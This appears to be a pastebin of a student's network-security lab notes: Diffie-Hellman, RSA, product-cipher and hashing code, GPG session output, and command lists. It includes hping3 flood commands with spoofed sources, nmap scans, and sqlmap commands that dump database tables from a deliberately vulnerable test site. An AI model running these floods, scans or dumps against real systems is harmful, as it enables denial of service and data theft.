· 6 years ago · Apr 20, 2019, 04:48 AM
1link to pastebin
2https://pastebin.com/raw/46CfrU9z
3
4DEFFI HELLMAN
5server.py
6import random
7import socket
8
9def send_R2_receive_R1(R2):
10 try:
11 host = 'localhost'
12 port = 6766
13
14 s = socket.socket()
15 s.bind((host, port))
16 s.listen(1)
17 c, addr = s.accept()
18 data = c.recv(1024)
19 data1 = str(R2)
20 c.send(data1.encode())
21 return int(str(data.decode()))
22 finally:
23 c.close()
24
25def check_primitive(g,p):
26 another_set=set()
27 for e in range(1,p):
28 another_set.add(pow(g,e,p))
29 for i in range(1,p):
30 if i not in another_set:
31 return False
32 return True
33
34if __name__ == '__main__':
35 g, p=int(input("Enter g:")), int(input("Enter p:"))
36 if not check_primitive(g,p):
37 print(g," is not primitive root of ",p,sep="")
38 else:
39 #x = random.randint(1,p)
40 y = random.randint(1,p)
41 #R1 = pow(g,x,p)
42 R2 = pow(g,y,p)
43 print("Found R2 =",R2)
44 R1 = send_R2_receive_R1(R2)
45 print("Received R1 =",R1)
46 key = pow(R1,y,p)
47 print("Key =",key)
48
49client .py
50import random
51import socket
52
53def send_R1_receive_R2(R1):
54 host = 'localhost'
55 port = 6766
56
57 s = socket.socket()
58 s.connect((host, port))
59
60 R1 = str(R1)
61 s.send(R1.encode())
62
63 data = s.recv(1024)
64 data = data.decode()
65
66 s.close()
67 return int(data)
68
69def check_primitive(g,p):
70 another_set=set()
71 for e in range(1,p):
72 another_set.add(pow(g,e,p))
73 for i in range(1,p):
74 if i not in another_set:
75 return False
76 return True
77
78
79if __name__ == '__main__':
80 g, p=int(input("Enter g:")), int(input("Enter p:"))
81 if not check_primitive(g,p):
82 print(g," is not primitive root of ",p,sep="")
83 else:
84 x = random.randint(1,p)
85 #y = random.randint(1,p)
86 R1 = pow(g,x,p)
87 print("Found R1 =",R1)
88 #R2 = pow(g,y,p)
89 R2 = send_R1_receive_R2(R1)
90 print("Received R2 =",R2)
91 key = pow(R2,x,p)
92 print("Key =",key)
93
94RSA.py
95
96import math
97from sympy import factorint #pip install sympy
98
99factors=[]
100power=[]
101'''
102def isPrime(p):
103 for i in range(2,p//2+1):
104 if p%i==0:
105 return False
106 return True
107
108def factorize(m):
109 i=2
110 k=0
111 while (i<=m):
112 if(isPrime(i)):
113 if m%i==0:
114 factors.append(i)
115 power.append(0)
116 while m%i==0:
117 power[k]+=1
118 m=m//i
119 k+=1
120 i+=1
121 print(factors)
122 print(power)
123'''
124def calc_phi():
125 phi=1
126 for i in range(0,len(factors)):
127 if power[i]>1:
128 phi*=(pow(factors[i], power[i]) - pow(factors[i], power[i]-1))
129 elif power[i]==1:
130 phi*=(factors[i]-1)
131 return phi
132
133def mul_inv(e,n):
134 if(math.gcd(e,phi)==1):
135 r1=phi
136 r2=e
137 t1=0
138 t2=1
139
140 while(r2!=0):
141 q=r1//r2
142 r=r1%r2
143 t=t1-q*t2
144 r1=r2
145 r2=r
146 t1=t2
147 t2=t
148 if t1>0:
149 return t1
150 else:
151 return t1%phi
152 else:
153 return -1
154
155def encrypt(s,e,n):
156 c=pow(s,e,n)
157 return c
158
159def decrypt(c,e,n):
160 p=pow(c,d,n)
161 return p
162
163print("RSA key generation:")
164print("1. Encryption with public key")
165print("2. Encryption with private key(Digital Signature)")
166ch=int(input("Enter your choice:"))
167
168n=int(input("Enter n:"))
169print("n:",n)
170
171#factorize(n)
172fact=factorint(n)
173factors=list(fact.keys())
174power=list(fact.values())
175print(factors)
176print(power)
177phi=calc_phi()
178
179d=-1
180while d==-1:
181 e=int(input("Enter e:"))
182 print("e:",e)
183 d=mul_inv(e,n)
184 if d==-1:
185 print("Multiplicative inverse doesn't exist. Try again.")
186print("d:",d)
187if ch==1:
188 print("Public Key: (", n, ",", e, ")")
189 print("Private Key: (", n, ",", d, ")")
190else:
191 print("Private Key: (", n, ",", e, ")")
192 print("Public Key: (", n, ",", d, ")")
193s=int(input("Enter the plain text:"))
194c=encrypt(s,e,n)
195print("encrypted text : ",c)
196p=decrypt(c,e,n)
197print("decrypted text : ",p)
198
199
200PRODUCT CIPHER .JAVA
201
202import java.io.*;
203import java.util.*;
204class ProductCipher
205{
206public static void main(String args[]) throws IOException
207{
208int itr=3;
209Scanner sc=new Scanner(System.in);
210System.out.println("Enter plain text:");
211String pt=sc.nextLine();
212pt=pt.toUpperCase();
213pt=pt.replaceAll("\\s", "");
214System.out.println("The plain text is: "+pt);
215System.out.println("Enter the key:");
216int key = sc.nextInt();
217System.out.println("Cipher Text generated using substitution technique is : ");
218char ct[] = pt.toCharArray();
219for(int x=0; x<itr; x++){
220for( int i=0;i<ct.length;i++)
221{
222ct[i] = (char)((key+(int)ct[i]-65)%26+65);
223}
224System.out.println("Substitution Cipher result after round "+(x+1)+":");
225for( int i=0;i<ct.length;i++)
226{
227System.out.print(ct[i]);
228}
229System.out.println();
230}
231System.out.println();
232System.out.println();
233System.out.println();
234String pt1 = new String(ct);
235System.out.println("Plaintext to Transformation Technique is :" + pt1);
236System.out.println("Enter the key:");
237int k= sc.nextInt();
238char a[] = pt1.toCharArray();
239int l,t;
240l=a.length;
241t=l;
242int m=0,i,j;
243if(l%k==0)
244l=l/k;
245else
246l=l/k+1;
247char b[][]=new char[l][k];
248for( i=0;i<l;i++)
249
250{ for( j=0;j<k;j++)
251{if(m==t)
252
253b[i][j]='#';
254else
255{ b[i][j]=a[m];
256m++;
257}
258}
259}
260System.out.println("Entered text in matrix form is : ");
261for(i=0;i<l;i++)
262{ for(j=0;j<k;j++)
263{ System.out.print(b[i][j]);
264}
265System.out.println();
266}
267System.out.println("Cipher Text is");
268String finalCipherText="";
269for(i=0;i<k;i++)
270{ for(j=0;j<l;j++)
271{
272finalCipherText+=(Character.toString(b[j][i]));
273//System.out.print(b[j][i]);
274}
275}
276System.out.println(finalCipherText);
277//Lets decrypt the text
278System.out.println("Starting to decrypt:");
279for(i=0;i<k;i++)
280{ for(j=0;j<l;j++)
281{ System.out.print(b[j][i]);
282}
283System.out.println();
284}
285String transpositionText="";
286for(i=0;i<l;i++)
287{ for(j=0;j<k;j++)
288{
289transpositionText+=(Character.toString(b[i][j]));
290//System.out.print(b[i][j]);
291}
292}
293int temp;
294char ct1[] = transpositionText.toCharArray();
295for(int x=0; x<itr; x++){
296for(i=0;i<ct1.length;i++)
297{
298temp=(int)ct1[i];
299
300ct1[i] = (char)((temp-key-65)%26+65);
301}
302System.out.println("Decryption Round "+(x+1)+":");
303for(i=0;i<ct.length;i++)
304{
305System.out.print(ct1[i]);
306}
307System.out.println();
308}
309System.out.println("Entered text was:");
310for(i=0;i<ct.length;i++)
311{
312System.out.print(ct1[i]);
313}
314}//End of main
315}//End of class
316
317
318// hping
319sudo hping3 192.168.37.56
320sudo hping3 -c 10000 --flood --rand-source 192.168.37.56
321sudo hping3 -c 10 192.168.36.193
322sudo hping3 -c 10 -d 120 192.168.36.193
323sudo hping3 -1 -c 10 -a 192.168.36.193 192.168.37.56
324
325
326//COMMANDS
327
328ifconfig
329whois 192.168.39.187
330dig www.google.com OR dig google.com +short
331traceroute www.google.com
332dig 192.168.39.187
333Clear
334nslookup google.com
335sudo netstat -plnt
336netstat -r
337
338Find ves public ip address? -
339dig ves.ac.in
340
341
342OS version using nmap-
343$ sudo nmap -v -Pn -O 192.168.45.151
344
345
346--------------------------------------------------------------------------------------------------
347nmap google.com
348sudo nmap -O google.com
349sudo nmap -sX google.com
350sudo iptables -A INPUT -s 192.168.40.11 -j DROP
351sudo iptables -A INPUT -s 192.168.40.11 -j ACCEPT
352whois www.google.com
353dig www.google.com
354
355//CODE FOR BUFFER OVERFLOW
356#include<stdio.h>
357int main(){
358int arr[] = {47,58,32};
359printf("%d\n", arr[0]);
360printf("%d\n", arr[20]);
361return 0;
362}
363
364
365
366//GPG
367
368GPG
369Installing GPG
370lab308-3@Shubham:~$ sudo apt-get update
371[sudo] password for lab308-3:
372Hit:1 http://ppa.launchpad.net/certbot/certbot/ubuntu xenial InRelease Hit:2 http://security.ubuntu.com/ubuntu xenial-security InRelease Hit:3 http://in.archive.ubuntu.com/ubuntu xenial InRelease
373Hit:4 http://ppa.launchpad.net/danielrichter2007/grub-customizer/ubuntu xenial InRelease Hit:5 http://in.archive.ubuntu.com/ubuntu xenial-updates InRelease
374Hit:6 http://in.archive.ubuntu.com/ubuntu xenial-backports InRelease Hit:7 http://ppa.launchpad.net/gns3/ppa/ubuntu xenial InRelease
375Hit:8 http://ppa.launchpad.net/otto-kesselgulasch/gimp/ubuntu xenial InRelease Reading package lists... Done
376lab308-3@Shubham:~$ sudo apt-get install gnupg
377Reading package lists... Done
378Building dependency tree
379Reading state information... Done
380gnupg is already the newest version (1.4.20-1ubuntu3.3).
3810 upgraded, 0 newly installed, 0 to remove and 141 not upgraded.
382lab308-3@Shubham:~$ gpg --gen-key
383gpg (GnuPG) 1.4.20; Copyright (C) 2015 Free Software Foundation, Inc.
384This is free software: you are free to change and redistribute it.
385There is NO WARRANTY, to the extent permitted by law.
386Key Generation
387
388
389lab308-3@Shubham:~$ gpg --gen-key
390
391gpg (GnuPG) 1.4.20; Copyright (C) 2015 Free Software Foundation, Inc.
392This is free software: you are free to change and redistribute it.
393There is NO WARRANTY, to the extent permitted by law.
394Please select what kind of key you want:
395(1) RSA and RSA (default)
396(2) DSA and Elgamal
397(3) DSA (sign only)
398(4) RSA (sign only)
399Your selection? 1
400RSA keys may be between 1024 and 4096 bits long.
401What keysize do you want? (2048) 4096
402Requested keysize is 4096 bits
403Please specify how long the key should be valid.
4040 = key does not expire
405<n> = key expires in n days
406<n>w = key expires in n weeks
407<n>m = key expires in n months
408<n>y = key expires in n years
409Key is valid for? (0) 1y
410Key expires at Tuesday 17 March 2020 08:41:50 AM IST
411Is this correct? (y/N) y
412You need a user ID to identify your key; the software constructs the user ID from the Real Name, Comment and Email Address in this form:
413"Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"
414Real name: Stephen Grinder
415Email address: 2016.stephen.grinder@ves.ac.in
416Comment: Stephen
417You selected this USER-ID:
418"Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>"
419Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
420You need a Passphrase to protect your secret key.
421We need to generate a lot of random bytes. It is a good idea to perform some other action (type on the keyboard, move the mouse, utilize the disks) during the prime generation; this gives the random number generator a better chance to gain enough entropy.
422Not enough random bytes available. Please do some other work to give the OS a chance to collect more entropy! (Need 203 more bytes)
423.........+++++
424Not enough random bytes available. Please do some other work to give the OS a chance to collect more entropy! (Need 11 more bytes)
425.........+++++
426We need to generate a lot of random bytes. It is a good idea to perform some other action (type on the keyboard, move the mouse, utilize the disks) during the prime generation; this gives the random number generator a better chance to gain enough entropy.
427Not enough random bytes available. Please do some other work to give the OS a chance to collect more entropy! (Need 178 more bytes) .+++++
428Not enough random bytes available. Please do some other work to give the OS a chance to collect more entropy! (Need 243 more bytes)
429.......+++++
430gpg: /home/lab308-3/.gnupg/trustdb.gpg: trustdb created
431gpg: key 7EDF0433 marked as ultimately trusted
432public and secret key created and signed.
433gpg: checking the trustdb
434gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
435gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u
436gpg: next trustdb check due at 2020-03-17
437pub 4096R/7EDF0433 2019-03-18 [expires: 2020-03-17]
438Key fingerprint = 8A72 FEAC 9855 2574 4ED5 0A91 D06F 2B3F 7EDF 0433
439uid Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>
440sub 4096R/8D3D2327 2019-03-18 [expires: 2020-03-17]
441Create a Revocation Certificate
442lab308-3@Shubham:~$ gpg --output ~/revocation.crt --gen-revoke 2016.stephen.grinder@ves.ac.in
443sec 4096R/7EDF0433 2019-03-18 Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>
444Create a revocation certificate for this key? (y/N) y
445Please select the reason for the revocation:
4460 = No reason specified
4471 = Key has been compromised
4482 = Key is superseded
4493 = Key is no longer used
450Q = Cancel
451(Probably you want to select 1 here)
452Your decision? 0
453Enter an optional description; end it with an empty line:
454>
455Reason for revocation: No reason specified
456(No description given)
457Is this okay? (y/N) y
458You need a passphrase to unlock the secret key for
459user: "Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>"
4604096-bit RSA key, ID 7EDF0433, created 2019-03-18
461ASCII armored output forced.
462Revocation certificate created.
463Please move it to a medium which you can hide away; if Mallory gets access to this certificate he can use it to make your key unusable. It is smart to print this certificate and store it away, just in case
464your media become unreadable. But have some caution: The print system of your machine might store the data and make it available to others!
465lab308-3@Shubham:~$ chmod 600 ~/revocation.crt
466Listing all generated keys
467stephen@stephen:~$ gpg --
468list-secret-keys
469/home/stephen/.gnupg/secring.gpg
470-----------------------------
471sec 2048R/84C7D581 2019-03-31 [expires: 2020-03-30]
472uid Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>
473ssb 2048R/46ECE634 2019-03-31
474Send your public key as a file to the recipient
475stephen@stephen:~$ gpg -- armor --output mypubkey.gpg export 2016.stephen.grinder@ves.ac.in--
476stephen@stephen:~$ gpg mypubkey.gpg
477pub 2048R/84C7D581 2019-03-31 Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in> sub 2048R/46ECE634 2019-03-31 [expires: 2020-03-30]
478Friend sends his/her public key to you
479stephen@stephen:~$ gpg --import mypubkey.gpg
480gpg: key 84C7D581: "Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>" not changed
481gpg: Total number processed: 1
482gpg: unchanged: 1
483
484
485Encryption
486
487stephen@stephen:~$ gpg --encrypt --sign --armor -r 2016.stephen.grinder@ves.ac.in abc.txt You need a passphrase to unlock the secret key for
488user: "Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>"
4892048-bit RSA key, ID 84C7D581, created 2019-03-31
490Decryption
491
492
493stephen@stephen:~$ gpg abc.txt.asc
494You need a passphrase to unlock the secret key for
495user: "Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>"
4962048-bit RSA key, ID 46ECE634, created 2019-03-31 (main key ID 84C7D581)
497gpg: encrypted with 2048-bit RSA key, ID 46ECE634, created 2019-03-31 "Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>"
498File `abc.txt' exists. Overwrite? (y/N) y
499gpg: Signature made Sunday 31 March 2019 07:52:23 PM IST using RSA key ID 84C7D581
500gpg: Good signature from "Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>"
501
502
503//SQLMAP
504
505SQLMAP -U SITENAME -D ACUART -TABLES
506http://testphp.vulnweb.com/listproducts.php?cat=*
507sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=* --dbs
508
509
510
511Sladyn
512
513
514TO get all info about a website
515sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs
516
517to get info about a particular table
518sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables
519
520to list data in a specific column
521sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T artists --columns
522
523infot in a column
524sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T artists -C aname --dump
525
526
527MD5 Number 5
528import hashlib
529import time
530import os
531import math
532md=open("hii.txt","r")
533data=md.read()
534print('Length of input data is :',len(data))
535start = time.clock()
536result = hashlib.md5(data.encode())
537print(result.hexdigest())
538a=len(result.hexdigest())
539end = time.clock()
540print('length of encoded data using md5',a)
541print("time required :",end-start)
542
543SHA
544import hashlib
545import time
546# initializing string
547str1 = "Hi"
548input_length=len(str1)
549start_time=time.time()
550# then sending to SHA1()
551result = hashlib.sha1(str1.encode())
552print("The hexadecimal equivalent of SHA1 is : ")
553print(result.hexdigest())
554end_time=time.time()
555print('length of input string',input_length)
556print('length of output string',result.digest_size)
557print('Start time =',start_time)
558print('End_time=',end_time)
559print('Total time required =',(end_time-start_time))